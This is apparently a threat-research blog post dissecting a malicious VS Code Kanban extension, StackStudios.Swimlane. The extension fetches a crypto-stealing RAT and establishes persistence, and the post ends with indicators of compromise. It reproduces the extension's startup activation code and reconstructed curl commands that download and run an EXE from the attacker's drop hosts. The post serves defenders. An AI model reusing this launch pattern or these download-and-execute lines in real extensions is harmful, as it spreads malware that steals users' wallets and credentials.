A fake Kanban extension with 1,184 installs curls a crypto-stealing RAT the moment VS Code finishes loading.
StackStudios.Swimlane is a working Kanban webview with the usual Marketplace promises: offline-first, no accounts, stay in the editor. The listing showed 1,184 installs – over a thousand machines that never had to open the board. The moment VS Code finishes loading, that story is already over. Activation fires a hidden Node helper, the helper curls an EXE into %TEMP%, and that EXE becomes a TLS RAT with a built-in wallet inventory. 1.0.2 pulled perfect.exe from boss67.icu; 1.0.3 rotated the drop.
The launch method is identical to what we saw in Nebula-Deck: obfuscated helper code, a vendored fake npm tree, onStartupFinished so install is enough, then a hidden curl into %TEMP% and execute. Junior skips the .bat chain and fetches an EXE.

StackStudios.Swimlane 1.0.2: 1,184 installs, one review, offline-first copy.
golden, posted hours after the listing went up.The listing starts itself, then curls a RAT
Junior is less sophisticated than the original. Nebula-Deck climbed from a Marketplace listing into a long Windows chain. This listing is the little brother: same launch kit, thinner payload. It still does not wait for the user to open a board. The manifest is the same trick with the publisher and command renamed.
// package.json - Swimlane 1.0.2 (same activation pattern as Nebula-Deck)
{
"publisher": "StackStudios",
"activationEvents": ["onStartupFinished", "onCommand:swimlane.open"],
"main": "./src/extension.js",
"dependencies": { "typescripts": "^1.2.1" }
}
onStartupFinished is the shared delivery technique. Install the extension, let the editor finish starting, and the dropper runs – potentially before anyone clicks Swimlane: Open Planning Manager.
activate() is the same shape as Nebula-Deck’s patt.run(): fire the helper first, swallow errors, register the fake UI second.
// src/extension.js - first thing activate() does (Nebula-Deck used patt.run())
function activate(context) {
try {
patpack.run().catch(() => {});
} catch (_) {}
context.subscriptions.push(
vscode.commands.registerCommand('swimlane.open', () => openPanel(context))
);
}
src/package.js then locates node_modules/typescripts/lolnstall.js and spawns it with ELECTRON_RUN_AS_NODE=1, windowsHide: true, detached: true, stdio: 'ignore' – or requires it in-process as a fallback. That is Nebula-Deck’s patt.js → boardflow/install.js path with the filenames filed off.
Deobfuscating lolnstall.js yields the same two child_process.exec calls, aimed at an EXE instead of a .bat:
# lolnstall.js - 1.0.2, reconstructed curl -L -o "%TEMP%\4649nadeshiko.exe" "http://boss67.icu/perfect.exe" "%TEMP%\4649nadeshiko.exe"
Captured perfect.exe: MD5 cf0d7732316a6537fccb0db2bde1a25b, SHA-256 195b65512fc5b5489149efbccd75efc0919680046c29b18af47b2922ae920679. The VSIX never contained that file.
Swimlane 1.0.3 is the same kit after Vercel took down the other decoy we had seen. The Kanban code did not change – extension.js and package.js are byte-identical. They bumped the version and rewrote lolnstall.js so the same %TEMP%\4649nadeshiko.exe drop now comes from a Netlify host instead of boss67.icu.
# lolnstall.js - 1.0.3, reconstructed curl -L -o "%TEMP%\4649nadeshiko.exe" "https://whats-the-time-in-shanghai.netlify.app/xd.exe" "%TEMP%\4649nadeshiko.exe"
The drop host is the same operator. Hitting the root of boss67.icu returns the plaintext tag jengu b. We found pooron.org in certificate transparency logs for a Nebula-Deck campaign URL; that host returns jengu a. Sequential check-in strings on related infrastructure – not two random Kanban listings.

pooron.org answers with the plaintext operator tag jengu a, found via certificate transparency on a Nebula-Deck campaign URL.
boss67.icu, the 1.0.2 drop host, answers with jengu b.Celestial unwraps, then persists
perfect.exe is Celestial Crypter. It creates mutex Local\CelestialCrypter.Session, drops %TEMP%\Egnjqofn.exe, and runs it. It has no network of its own. It also writes HKCU ...\Windows\CurrentVersion\Run as CelestialHost_… pointing at the drop in %TEMP% – reboot is enough to come back without the editor.

perfect.exe creates HKCU Run value CelestialHost_0005941D pointing at the %TEMP% drop.VirusTotal on the stub landed 38/70, mostly MSIL stealer / Trojan labels. The stub picks its own filename at runtime, so one file turns up under a different name on every execution: Egnjqofn.exe in our run, Qocarzv.exe on the VirusTotal submission. The SHA-256 82e81591d0b6370bb6e71b41484b8ae5e8671a3efbe865ef622ac3f3451a9eba is the only stable identifier.

Qocarzv.exe: 38 of 70 vendors detect it, mostly MSIL stealer and Trojan labels.Hidden DLL, then the RAT in-process
Egnjqofn.exe is a packed .NET stub. It mixer-decrypts and inflates an embedded resource into a hidden DLL, inner.dll. That DLL has no methods of its own. It exists to hold one encrypted resource named Ytgknojbd. The stub TripleDES-decrypts Ytgknojbd (CBC, PKCS7), reads a 4-byte length prefix, gunzips the rest, and Assembly.Loads it. The result is Ruozeod.dll (the RAT), running inside Egnjqofn.exe.
Any.Run’s steal probes and the TLS session are that process. No extra child. Same family of tricks as Nebula-Deck: an encrypted blob, a loader, and a next stage that is not in the VSIX. Junior just does the unpack in-process instead of handing blobs to an injection loader.

Egnjqofn.exe 90/100 suspicious: credentials-in-files and crypto-wallet steal detections, in-process under Perfect.exe.First beacon is already a wallet census
Config string 14136 is one host, one port, one campaign:
| C2 | 185.254.99.165:56001 (TLS, pinned cert CN=Gpvlqdyq, not after 2083-05-05) |
| Campaign | Noqlm |
| Profile | Default / %APPDATA% |
HTTP from the malware process is empty. The C2 is raw TLS (Common-RAT JA3 on 56001). Before plugins arrive, the client walks the box for presence (directories, files, HKCU strDataDir for Qt coins, Chromium User Data for wallet-extension IDs) and joins the hits with ", " onto the first beacon.
Desktop paths that fired in the sandbox:
%AppData%\Roaming\Electrum\wallets%AppData%\Roaming\Exodus\exodus.wallet%AppData%\Roaming\atomic\Local Storage\leveldb%AppData%\Roaming\com.liberty.jaxx\IndexedDB%AppData%\Roaming\Ethereum\keystore%AppData%\Roaming\Telegram Desktop\Telegram.exe
The same class also tags Zcash, Bitcoin-Qt / Dash-Qt / Litecoin-Qt, Ledger Live, Foxmail, and Chromium extensions including MetaMask, Phantom, Coinbase, Trust, Ronin, Keplr, TronLink, Binance Chain, Exodus Web3, Guarda, Yoroi, Braavos, Waves Keeper, BitKeep.
That pass is inventory, not file copy. Grabbers still arrive as C2 plugins via Assembly.Load. Junior prices the box on first check-in; it does not climb the kernel/firmware path we mapped in Nebula-Deck.
| Technique | Nebula-Deck (FocusDeck / LineDeck) | Nebula-Deck Junior (Swimlane 1.0.2 / 1.0.3) |
|---|---|---|
| Cover | Fake Kanban, offline-first README, working webview | Same, renamed Swimlane |
| Start | onStartupFinished |
onStartupFinished |
| Hook | patt.run() then register UI |
patpack.run() then register UI |
| Fake npm | vendored boardflow@1.2.1 |
vendored typescripts@1.2.1 (bin: still boardflow) |
| Launch | spawn + ELECTRON_RUN_AS_NODE + windowsHide |
Same flags |
| Drop | curl -L -o %TEMP%\*.bat then execute; hosts rotate |
curl -L -o %TEMP%\*.exe then execute; boss67.icu → Netlify in 1.0.3 |
| Unpack | Encrypted blob + loader; next stage not in the VSIX | As described above |
| Operator tag | pooron.org → jengu a |
boss67.icu → jengu b |
| Payload in VSIX? | No – fetched at runtime | No – fetched at runtime |
A Broader Network Behind Nebula-Deck and Junior
The overlap is too specific to be two unrelated publishers copying a Kanban README. Same chassis, wildly different payload: Nebula-Deck spent it on a long Windows chain; Junior spent it on a Celestial-packed crypto-stealing RAT. That gap is what a distributed base kit looks like, not two independent builders converging by accident.
We think a group is pushing that kit across a larger infrastructure than the hosts in this post. Certificate transparency on a Nebula-Deck campaign URL is how pooron.org showed up next to boss67.icu. 1.0.3 then moved the drop onto whats-the-time-in-shanghai.netlify.app. That is a slice, not a map of the whole network.
If StackStudios.Swimlane was installed, treat the machine as compromised. Remove the extension, kill the dropped EXEs, and assume anything the RAT inventoried may already have a plugin queued. If FocusDeck or LineDeck was on the same box, hunt both second stages – the kit is shared, the payload is not.
Useful references
Indicators of compromise
| Item | Value |
|---|---|
| Cluster | Nebula-Deck Junior (same kit as FocusDeck / LineDeck; EXE / RAT payload) |
| Extension | StackStudios.swimlane 1.0.2 / 1.0.3 |
| VSIX SHA-256 (1.0.2 gzip wrapper) | ce36b48e83beff36f63ee88487ac8a580b5986b4abe0c8565ece342a93f35e8c |
| VSIX SHA-256 (1.0.2 zip) | b8ba3b10f511fd9b0fe60b4a2e5afb277d4e6fd3d839195be14d966ca407feef |
| VSIX SHA-256 (1.0.3) | 108fd1f9d0d5a704ce8e7eec4fbb492fec47e26f0b406af5d70466f30b8d4547 |
| Operator tag | boss67.icu → jengu b (Nebula-Deck: pooron.org → jengu a, via CT logs) |
| Drop URL (1.0.2) | http://boss67.icu/perfect.exe |
| Drop URL (1.0.3) | https://whats-the-time-in-shanghai.netlify.app/xd.exe |
| Staging name | %TEMP%\4649nadeshiko.exe |
perfect.exe MD5 |
cf0d7732316a6537fccb0db2bde1a25b |
perfect.exe SHA-256 |
195b65512fc5b5489149efbccd75efc0919680046c29b18af47b2922ae920679 |
| Dropped stub | %TEMP%\<random>.exe, filename generated at runtime (observed: Egnjqofn.exe, Xzzba, Qocarzv.exe). SHA-256 82e81591d0b6370bb6e71b41484b8ae5e8671a3efbe865ef622ac3f3451a9eba |
| Final RAT | Ruozeod.dll SHA-256 53f3496ad8898b3c329223e68e8bb50c239ca6aec8ccb5aea8874172188d0f70 |
| C2 | 185.254.99.165:56001 TLS |
| Cert | CN=Gpvlqdyq, not after 2083-05-05, SHA-256 1df85f7df67f60d74b0ada950aaba46ce4bd41807f50eb99a708b823a2f73fcf |
| Campaign id | Noqlm |
| Persistence | HKCU Run CelestialHost_…; mutex Local\CelestialCrypter.Session |